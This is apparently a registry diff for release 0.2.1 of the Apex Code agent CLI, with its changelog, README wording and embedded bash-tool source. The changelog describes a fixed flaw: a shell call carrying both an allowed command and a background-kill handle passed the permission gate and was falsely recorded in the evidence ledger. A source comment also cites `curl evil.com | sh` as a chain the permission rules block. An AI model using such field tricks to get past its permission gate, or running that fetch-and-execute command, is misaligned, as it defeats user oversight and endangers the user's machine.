apex-code 0.2.0 → 0.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -1,5 +1,13 @@
1
1
  # Apex Code changelog
2
2
 
3
+ ## [0.2.1] - 2026-09-16
4
+
5
+ ### Fixed
6
+
7
+ - **An allowed command could carry a denied background kill past the permission gate.** The shell tool advertises one flat set of fields because providers drop the union constraint that would otherwise separate its call shapes, and the consumers reading those fields disagreed about which operation a call requested. Permissions answered by whether `command` was present, execution answered by whether `handle` was present, and the evidence ledger answered like permissions. A call carrying both was therefore authorized as its command and performed as its handle. With `pwd` allowed and `background-handle` denied, adding `command: "pwd"` to `{handle, kill: true}` turned a blocked call into an allowed one, sent the kill, and recorded `pwd` in the evidence ledger as the command that ran, so the record named something that never executed. What this reached is background retrieval and termination on a handle already in the session's registry; it did not establish arbitrary new command execution. A call's operation is now parsed once, before anything acts on it, and permissions, execution, the permission preview, the displayed title, and evidence all read that one answer. A call that names two operations, or none, is rejected with a reason naming both ways forward instead of being dispatched to whichever operation the reading consumer happened to prefer. A placeholder the model did not mean to send, such as an empty `handle` beside a real command, is dropped rather than failing the call with `Unknown background handle: .`, so that call now runs its command and is gated as the command it is.
8
+
9
+ - **The shipped docs named a version line that `0.2.0` had already left.** `0.1.1` retired the pre-alpha label by saying Apex Code is "stable on the `0.1.x` line", and six pages copied that phrasing, two of which ship inside the npm tarball. `0.2.0` shipped the next day and made all six wrong. The pre-alpha graduation was never about a particular minor, so the pages now say "stable" without naming one, and the support policy covers the latest non-deprecated release rather than the latest `0.1.x`.
10
+
3
11
  ## [0.2.0] - 2026-09-14
4
12
 
5
13
  ### Added
package/README.md CHANGED
@@ -6,7 +6,7 @@ a broader tool surface, delegation, durable execution, evidence, and cost visibi
6
6
 
7
7
  ## Install
8
8
 
9
- `latest` names the newest stable release on the `0.1.x` line and a plain install resolves
9
+ `latest` names the newest stable release and a plain install resolves
10
10
  it. It requires Node.js 22.19 or newer. It installs the same way with npm, pnpm, Yarn, or
11
11
  Bun — all resolve it from the same npm registry:
12
12
 
@@ -109,6 +109,12 @@ export type BashRenderState = {
109
109
  endedAt: number | undefined;
110
110
  interval: NodeJS.Timeout | undefined;
111
111
  };
112
+ export declare function formatShellCall(args: {
113
+ command?: string;
114
+ timeout?: number;
115
+ handle?: string;
116
+ kill?: boolean;
117
+ } | undefined, prompt: string): string;
112
118
  export interface ShellToolConfig {
113
119
  name: string;
114
120
  label: string;
@@ -1 +1 @@
1
- {"version":3,"file":"bash.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Literal(true, { description: \"Set to true with a background handle to terminate its command.\" }),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t}),\n\t\tType.Object({ handle: Type.String() }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\treturn \"command\" in params ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\treturn \"command\" in params && classifyBashCommand(params.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn { kind: \"summary\", lines: [\"Retrieve or kill a background shell command\"] };\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [String(params.command)] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\nexport type BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nfunction formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (!command && handle) {\n\t\tconst suffix = args?.kill === true ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${handle}${suffix}`));\n\t}\n\tconst timeout = args?.timeout as number | undefined;\n\tconst timeoutSuffix = timeout ? theme.fg(\"muted\", ` (timeout ${timeout}s)`) : \"\";\n\tconst commandDisplay = command === null ? invalidArgText(theme) : command ? command : theme.fg(\"toolOutput\", \"...\");\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${commandDisplay}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", 